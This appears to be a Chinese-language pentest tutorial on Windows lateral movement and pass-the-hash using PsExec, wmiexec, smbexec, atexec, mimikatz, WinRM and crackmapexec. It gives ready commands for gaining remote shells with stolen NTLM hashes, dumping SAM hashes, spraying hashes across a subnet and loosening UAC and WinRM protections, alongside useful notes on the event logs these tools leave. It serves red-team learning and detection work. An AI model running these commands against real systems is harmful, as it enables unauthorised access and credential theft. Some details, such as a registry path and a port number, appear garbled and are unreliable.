PTH
PTH(pass the hash)也叫做hash傳遞。在內網滲透中是一種很經典的攻擊方式,原理就是攻擊者可以直接通過NTLM Hash(mimikatz或其他手段抓取到的密碼hash)訪問遠端主機或服務,而不用提供明文密碼。因為在Windows中通常會用NTLM進行身份認證,hash值由系統API生成,如果攻擊者獲得了hash,就能夠跳過呼叫API生成hash的過程,在身份驗證的時候模擬該使用者。
從winows 2008開始(包括2008),rid不為500的使用者,windows都不允許遠端連線(包括net use、at、winrm等),所以如果想對目標機遠端執行命令,必須使用目標機rid 500的賬號(通常為administrator)或域管賬號。
PsExec
0x00 PsExec簡介
PsExec 是由 Mark Russinovich 建立的 Sysinternals Suite中包含的工具,基於445埠 走SMB協議,NTLM認證。最初,它旨在作為系統管理員的便利工具,以便他們可以通過在遠端主機上執行命令來執行維護任務。PsExec是一個輕量級的telnet替代工具,它使您無需手動安裝客戶端軟體即可執行其他系統上的程式,並且可以獲得與命令控制檯幾乎相同的實時互動性。PsExec最強大的功能就是在遠端系統和遠端支援工具(如ipconfig、whoami)中啟動互動式命令提示視窗,以便顯示無法通過其他方式顯示的有關遠端系統的資訊。
0x01 食用姿勢
### 前提條件:開啟admin$(對映C:\\Windows目錄)且關閉Remote UAC
## 針對遠端建立連線的方式有兩種,一種先建立IPC通道連線,然後直接使用,操作如下:
# 先net use 連線上IPC
net use \\192.168.0.1\ipc$ "password123!@#" /user:alibaba
# 確認是否進入IPC會話
.\PsExec64.exe -accepteula \\ip -s cmd.exe 彈cmd
.\PsExec64.exe -accepteula \\ip -u administrator -p 123456 -i -d cmd /c start http://www.baidu.com
## 另一種時在psexec的引數中指定賬戶密碼 操作如下:
.\PsExec64.exe \\192.168.0.1 –u administrator –p password
0x02 執行原理
1.通過ipc$連線,釋放psexecsvc.exe到目標
2.通過服務管理SCManager遠端建立psexecsvc服務,並啟動服務。
3.客戶端連線執行命令,服務端啟動相應的程式並執行回顯資料。
4.執行完後刪除服務。這個在windows的日誌中有詳細的記錄,另外psexec在少數情況下會出現服務沒刪除成功的bug(可在命令列下執行exit退出),所以一般不推薦使用psexec,推薦wmiexec
首先進行TCP三次握手連線目標445埠
通過SMB協議協商使用SMB協議的版本
進行NTLM認證,傳送SESSION_SETUP_ANDX協商請求,包括username和pass hash
寫入PSEXECSVC.exe檔案,遠端呼叫svcctl協議啟動psexesvc服務
psexec必須呼叫svcctl協議,否則psexesvc服務無法啟動
0x03 關於PsExec的日誌
psexec成功登入退出後,會在目標機器的安全日誌中產生Event 4624、4628、4634,在系統日誌中產生Event 7045(記錄PSEXESVC安裝)、Event 7036(記錄PSEXESVC服務狀態)
0x04 Remote UAC的延展測試
UAC是什麼?UAC是微軟在Windows Vista 以後版本引入的一種安全機制,可以阻止未經授權的應用程式自動進行安裝,並防止無意中更改系統設定。那麼對於防禦是不是不改UAC,保持預設或更高就可以了?並不是,可以改登錄檔的嘛。
方法二:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem新增新DWORD值,鍵值:LocalAccountTokenFilterPolicy 為1。
WMI
0x00 WMI簡介
WMI的全名為“Windows Management Instrumentation”。從Windows 98開始,Windows作業系統都支援WMI。WMI是由一系列工具集組成的,可以在本地或者遠端管理計算機系統。
使用WMIC橫向移動連線遠端主機,需要目標主機開放135和445埠。
(135 端⼝是 WMIC 預設的管理端⼝,wimcexec 使⽤445端⼝傳回顯)
WMI相比於PsExec更隱蔽些
0x01 食用姿勢
### 遠端連線
## 直接使用wmic使用明文密碼連線(未利用IPC$)
.\wmiexec.exe admin:admin@192.168.124.165
.\wmiexec.exe 使用者名稱:明文密碼@ip
## PTH
.\wmiexec.exe -hashes LM Hash:NT Hash 域名/使用者名稱@目標IP // 雜湊傳遞獲得shell
.\wmiexec.exe -hashes f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165 // 雜湊傳遞獲得shell
.\wmiexec.exe -hashes f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165 "ipconfig" // 執行命令
.\wmiexec.exe -hashes LM Hash:NT Hash 域名/使用者名稱@目標IP "ipconfig" // 執行命令
-hashes 471991a8c33ff1593f1ad458bdd6f0c5 central.com.br\Administrator "ipconfig"
ps:獲取的當前shell許可權為此使用者許可權
smbexec
0x00 smbexec簡介
smbexec可以通過檔案共享在遠端系統中執行命令。
需要開啟c$共享,445埠。
0x01 食用姿勢
## 在3389或類似於3389環境下
# 明文密碼
.\smbexec.exe 使用者名稱:密碼@ip
.\smbexec.exe admin:admin@192.168.124.165
# hash
.\smbexec.exe -hashes :NTLMhash 使用者名稱@ip
.\smbexec.exe -hashes :209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165
## 在socks環境下
.\smbexec.exe rootkit/使用者名稱:密碼@ip
.\smbexec.exe -hashes :NTLMhash rootkit/使用者名稱@ip
ps:這裡成功後獲得的是system許可權 ,所以後面如果環境允許,可以利用smbexec配合cme或者cs拿到system許可權的shell或機器。
atexec
0x00 atexec簡介
atexec是通過windows計劃任務執行遠端命令,atexec是一個半互動的工具,即引數中新增需要在遠端主機執行的命令,工具執行後即返回命令結果,適用於webshell下,也適用於其他網路環境。
0x01 食用姿勢
用法大致與smbexec相同
## 在3389或類似於3389環境下
# 明文密碼
.\atexec.exe 使用者名稱:密碼@ip
.\atexec.exe admin:admin@192.168.124.165
# hash
.\atexec.exe -hashes :NTLMhash 使用者名稱@ip
.\atexec.exe -hashes :209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165
## 在socks環境下
.\atexec.exe rootkit/使用者名稱:密碼@ip
.\atexec.exe -hashes :NTLMhash rootkit/使用者名稱@ip
mimikatz
0x01 食用姿勢
mimikatz的食用方法有些許奇怪
privilege::debug
sekurlsa::pth /user:admin /domain:workgroup /ntlm:209c6174da490caeb422f3fa5a7ae634
# 傳檔案
copy <file-path\file> \\ip\ipc$ 或者
copy <file-path\file> \\ip\c$ 或者
copy <file-path\file> \\ip\admin$
# 計劃任務
at \\ip 時間 程式名,如:
at \\127.0.0.0 11:00 love.exe
如下圖,在新彈出的cmd中net use連線即可,後續可通過copy或at命令進行上線或許可權維持。
net use
net use將計算機與網路其他計算機共享資源連線或斷開,或者顯示關於計算機共享連線的資訊,或者切斷計算機與共享資源的連線(刪除磁碟對映),當不帶選項使用本命令時,它會列出計算機的連線。
# 列出所有共享資源
net use
# 建立IPC$
net use \\ip\ipc$ "<password>" /user:<username>
# 刪除IPC$
net use \\ip\ipc$ /delete
# 傳檔案
copy <file-path\file> \\ip\ipc$ 或者
copy <file-path\file> \\ip\c$ 或者
copy <file-path\file> \\ip\admin$
# 計劃任務
at \\ip 時間 程式名,如:
at \\127.0.0.1 9:00 calc.exe
WinRM
0x00 WinRM簡介
WinRM(Windows Remote Managementd)是windows作業系統的一部分,基於Web服務管理(WS-Management)標準。是一項允許管理員在系統上遠端執行管理任務的服務。一般是監聽在5985埠(HTTP),HTTPS協議監聽在596埠上,預設支援Kerberos和NTLM身份驗證。使用此服務需要管理員級別的憑據。
WinRM服務將在Windows Server 2008和更高版本上自動啟動(在Windows Vista中,需要手動啟動該服務)。
預設情況下,未配置WinRM偵聽器。即使WinRM服務正在執行,也無法接收或傳送請求資料的WS-Management協議訊息。
0x01 搭建WinRM服務
環境:
win 2008 R2 --> WinRM
win7 攻擊機
# 將網路連線型別改為“專用” win7的話改為工作網路winrm quickconfig//針對winrm service 進行基礎配置winrm e winrm/config/listener//檢視winrm service listener:winrm set winrm/config/service/auth @{Basic="true"}//為winrm service 配置authwinrm set winrm/config/service @{AllowUnencrypted="true"}//為winrm service 配置加密方式為允許非加密winrm enumerate winrm/config/listener//winrm service返回資訊則啟動配置成功# 將目標計算機新增到 TrustedHosts 配置設定,TrustedHosts=”*”代表所有IP都可嘗試連線到此計算機的WinRM服務,這裡類似於白名單機制。winrm quickconfig -qwinrm set winrm/config/Client @{TrustedHosts=”*”}# 攻擊機和環境靶機都需要處於專用網路或者在域內之後可以netstat -an看一下埠 5985開啟就說明正常啟動WinRM了
0x02 食用姿勢
winrs.exe ,基於命令列的工具,此工具作為客戶端使用,用於遠端連線執行WinRM的伺服器並執行大多數的cmd命令
winrs -? 可以檢視幫助,Winrs事件作為Microsoft-Windows-WinRM / Operational(事件ID 91)記錄在遠端主機上。
常用姿勢
# 遠端執行命令winrs -r:http://ip:5985 -u:使用者名稱 -p:密碼 "ipconfig"# 建立新執行緒啟動calcwinrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://ip:5985 -u:administrator -p:密碼winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://192.168.124.167:5985 -u:administrator -p:z123456.
不過不知道為什麼沒彈calc,但是calc的執行緒是起來了。
crackmapexec
一款強大的內網橫向的工具
功能很多 這裡只介紹幾個常用到的
# 掃描c段445crackmapexec smb 192.168.124.0/24
# 指定單一使用者與密碼進行c段掃描crackmapexec smb 192.168.124.0/24 -u admin -p admin --pass-pol
帶有黃色的"Pwn3d!"意味著我們在這臺機器上擁有管理員許可權
# 列出當前c段所有可用共享crackmapexec smb 192.168.124.0/24 -u admin -p admin --shares
# PTH,指定hash進行橫向crackmapexec smb 192.168.124.0/24 -u admin -H 209c6174da490caeb422f3fa5a7ae634 --pass-pol
# -H和-p引數都可指定檔案去批量跑c段(--pass-pol),同理也可跑共享(--shares)crackmapexec smb 192.168.124.0/24 -u ./user.txt -H hash.txt --pass-pol
# winrm同理,只不過沒有--pass-pol引數了crackmapexec winrm 192.168.124.0/24 -u user.txt -H hash.txt
# --sam dump主機hashcrackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 --sam
# -x 執行命令,預設使用wmi執行命令(這裡可以通過--exec-method引數指定smbexec來獲得system許可權執行命令)crackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 -x "whoami"crackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 -x "whoami" --exec-method smbexec
Reference
https://www.anquanke.com/post/id/222746
http://cn0sec.cn/index.php/archives/53/
https://www.cnblogs.com/sup3rman/p/12381874.html
https://ishare.ifeng.com/c/s/7qiKOFLV4ZM
https://cloud.tencent.com/developer/article/1802241